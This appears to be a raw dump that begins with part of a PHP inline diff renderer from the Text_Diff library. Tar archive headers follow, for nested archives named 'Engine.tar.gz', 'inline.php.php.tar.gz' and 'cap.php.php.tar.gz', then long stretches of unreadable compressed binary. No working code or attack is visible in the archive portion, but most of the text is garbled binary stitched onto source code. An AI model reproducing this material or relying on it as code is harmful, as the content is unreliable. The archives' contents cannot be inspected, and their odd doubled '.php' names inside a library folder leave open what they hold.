        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        Renderer/Engine.tar.gz                                                                              0000644                 00000017123 15217306007 0010653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =v8@2:mչ/dwO$} 	6ErHʒ2*\$;tOoxrb	
Bn(ip܍'~ϓGn?~<y˟<~5r(,ͼ}o`mv%)O,#,J_dl(FE,elDS]M8fDsqSԈ̟C6?유YEl>>d!wJcKoٔP[I!OxRnvFp.@)s:O&,k4(O2?f?ɥi٣%ڝ%CNkN,yw`^Ks"3 JaRx_}F0Eyr&B624_~weߏ2Ve,>SRqH(X,%
v/Ag3~2@#1gJS1vPһ^Zuadܻ)>U:f"I3{7zS"|pHE)Cø.8!ճisci}ٗMẻV{g@- 0R34$j>A}2a
X6F;=LOM8V[гjHH@u?jHgKMwKM|iIQA³YʵKHx@
3!7c,\m5B-{^_vpJÆ(L5|oJň5lq5-věeQ@}dj;nv,A2/=~m8瀇M갅ɾ+tկN9a_}4K5Urr^≔'I4ERKgq%YagcՂ'mk{{NTt:ʄhe6͂!~/r@E
;?A1$U7ð/ƚ׽|6]Xl h35KmfX@ku@§5ϭ	*h@'`(䖔P
_`*K3]lFYYocu!S@3F"<Q,cUTL:OcTG#[eƏrn,LV2@3eD())jCjOg5,i,6EXPR :lW@P5w|ҹ@Ӿ;NXf
LګaXyg(F+Jģ]sgǌE^V9mK:&^JP.Hs}1tGkhisSxmө'?±4Pݭc_+ȪAS7J	
wKtR.Wp`{3C_X2tFsߐYUV~,%Ucviwk)&[uS̈́:1R$Us-&Y5t..Pсd%Jǒ`26yDѕ\mP2kVCFXwCtQZ֨Â~5{JX+13_e-&zr=.WΈz]cQQ h>?}:p<
hU\
D7Ig9Tw?mf4P$v5%ݲgp%ɜԳi>8DYŐ|*{_5ʡ$Ӆ4t25-̙^۝hlmeL=ᵵƺlDtK4~;_JZ6+@"ձR`?U֢Ҳ	n*ˡ!ecSsx;8uY󭧉-Ѥ݄&,,J|]Jb-.K۳WJ}nIߞ}?M>}אm~ԈO:A˦v?|sDI 'K{AIlFe~4gYGĐwk82P,߰XDcU]ʋ	} r9:"BB3m}& (8z"x6yWXͷy&ęnMpLgmyNd1k/Q9%!7αQ4z¯[ސF0ßvNAOFN)o-
䴺fj\mQ1ZmݱTJ!eSx)ʚ6.+Ӗ;*sYsaVY;bimn1fϩVR6ц pmƧ`0LN1M0B$Mzǎ83I0q'aUnX4`ZigیbL_u{shFq͚6G$mA]_
dem?*w!M^X]M:$+FV'tgDz΂@˫,9&c+ԱWc&
(kgPϿv/lŊ(FSTO{v7h~R,z<ℏϧ{¨juj~צo?knF`&h(Nw7/C=#ue楪ayq4噪|gȠ 2U<YLLAJE[`3>'[<<Y`HV9:¬&̜6X`=ekYj~ztVC`XvY8;~T0,4ZiW^޳W)^ J*FZ@sh]j:j1Ό^;U$rgJHPp+v)ӻ6߽k=vS||px/=?%-|Y"oA?+=%'3T>gC<AŞ)?`jOzwzpaetb7D_cVMlS)2	L%_}C>p+y'#X#qe'BٌQLp[C"̐0*͒dPr8^@7y^'`o9{P3(fS4'hugp\Be78窯,W\^$!^rEAգ45$t2-BGu>ǖ3:E_Գě+4;tuXlK_	L\_ïw_,oo9E<;]`gLN|tmތ3/G	h̩DCFi= 0,z{yIY@{u=By͓UȠmu@{מ0ͼN,{aw3>`^Ӟ^^ÿy?{v޺DCcr=yWBp{ڍ~ڝˇ8N3.ɠ'?u'4hJMyBP)RUy0뷱w~+xj;vP'^G᪩1"l(ҬzL k;@7]ŵY8=em:{0A2dohp`.{D\	v0tK2h inZ#'eI84Skَ"T˹1k7j@PN\k,_(]:KץZTJRb+e*_{&<'ppZY1*l
e2/FVUEhC*g!Ee%
\ܿ1~>*)̹}<+ʃtEYjB\R3:Ikȯ
]ȇc4ʬ?Р%%qɯ@eI`çn@@(X}ko@ÅPp)~AXK!Z5
x<#@EqI$M%bR%Oc1iBgͬvKE(߯XuWH#
0ᬲS@fi)ؚ5Q-w@RԓSH4Id+s"nȦ,]AGo-!"SozoQ&cpy*Ixf܊0VvQPQy/е]^U-UgGA+K8\+J<[yNR0Uq0_ϕ[isTJ_U^>	by<(60<S{@\hq߹r1wg)|_P˕zQʝ};Ci(,uJ7 uhYܛ#~V]ǫ$3 r'LJ[(u"kݴ-[BB@;6/ĵdҗwvvb;
m4e͟_m[?Ƚor
D^'B 
wciURu"f'ނk	V1t
ITXPz[$WK31 /`Hc :>FgʦSEkD7A!FasAofmOͶ߶}U@]TE!t*"e>AА05?AL8mj$hqA̦++9< nPT-ok4
a\<!LE}![+7k/Η?f7(U G	ԲPxc݌0XoK-'hɔ3cI<  4g.fK!Wiqq)膻oMebU=xCP'oPzdę=ۼ->G_A TiU4%YVܓxb]7xBt:NTv} GNZ¹CxX,7âB
tŻ
!a
͝YDEB;f)z[PUFӣ*#?&N!g\thk_^Pwg9ĩb*CY4I4LM9-@%wJ⠅R-˥~	F-11o,W8c{
߫BZkk(v$"t!+ï6G63i]~cbUyеFh
0YH_LqluWȕ=ўzdD}!6oTs,U5uYE\>[KW6-{eb^]LTS̳.Hxx>	,JI]O
#Iv4WVOk][<N;-flzO*󅬶FbTYYJES6D@P+4Hc9(63 P֒ooXl2`rPփQ ~(eKJJm	UshUsn#} $~ٱ _c,i-?ŶZ\KK5aUW9</y Q֪VM
 6ZѺX~C cMH.W3Qe^`1H?quYɄAtpEIǢCugmv4F~2\fTHd5.C,"DRSHPr)SF
 \HS$O$:dL qz2<N94|S#9<;Hh"SC^b2	O.Nosm y˲E&<Tcq0QcT *kˊ*5X`Z9VTPhoU!bGxF`WkF\ʈtyyTIr0;n/]B[ٌ,{NS8\hC6|v1T'<Jo`pX	TE#],\>n 46B6ic>@r|@a6[{E`ٰ#lƛ'&qLϴ[o?`I=Le)y[qd-PioNwv	rl񰢳E3ڌ:cS12JV4\8.@ V\~3ٯd]Kn@FBXAt<]2p%PoV!RiOo)QfbanhlO)oܛN~B5c ǒvX4мT,MZ&m9_U*#< ~*%6#ȟDQu^q0bghRLMةk)&- ?^yJB߉Q	U
_H _9^°Z߽̚Tܪ0*Y<OA>׹ePWi(4Fty4HNNCsf+Wo=	`&lnyFsʿw$YqD嶠eːd/Ż4k$l<ì6N.>V>h	rM[ ebäj]ڵЊ ^x'b589,^XC'{#/m.Gt!~gJrhAV8Í.Ui6VѺB̡n_vw1fWPB m(Z
;e`6=$0Ip'P
jCntX3=u}	{̀y%qkKVqZEh	xt(h}1ȍz	X<qp"Ȕw!mԘzQ:{/Vn|4KVz4:	
J=	-#R1v+y=y.AueXo?я;TKȼF(1`T29Dd<cG߼9~{<`3RYV֢{Cue*5ٰ6e%_DLas.	ҞΛW}њ9deEʂ=7
9\ʁܼ΅E.\ o]E$e̷BT]dpSLFTm4umarNJ<-iT]_-m,'H0'~k|kOWO~- _YOu`wc{>5Wmp`Tʷf63ТLH<V<-sY56|-uESu)[(ɛ$F1:M_ngA5?rᓇ_xdT>	sn<{"ҵПv'T@o'^Q̌DUn\KCfA9FmЭ)M$EDxfir99Qmױ޶Zt
[F}k$2֦**bn(έ	%mv尿`c5 ZE)nl$OG׷픋dI̀9Hy˙<GD6 FYm7>`r-ۡmV1(|=Flm2|`CTb
t&x@SnCbC؄/7rjj2op
Cp6k/pzeY1@C:2	_0+2^`$I#ؼ|+tk\uxJ98yu^X|n.u_כj680x/|y<__m                                                                                                                                                                                                                                                                                                                                                                                                                                                Renderer/Renderer.tar                                                                               0000644                 00010052000 15217306007 0010567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
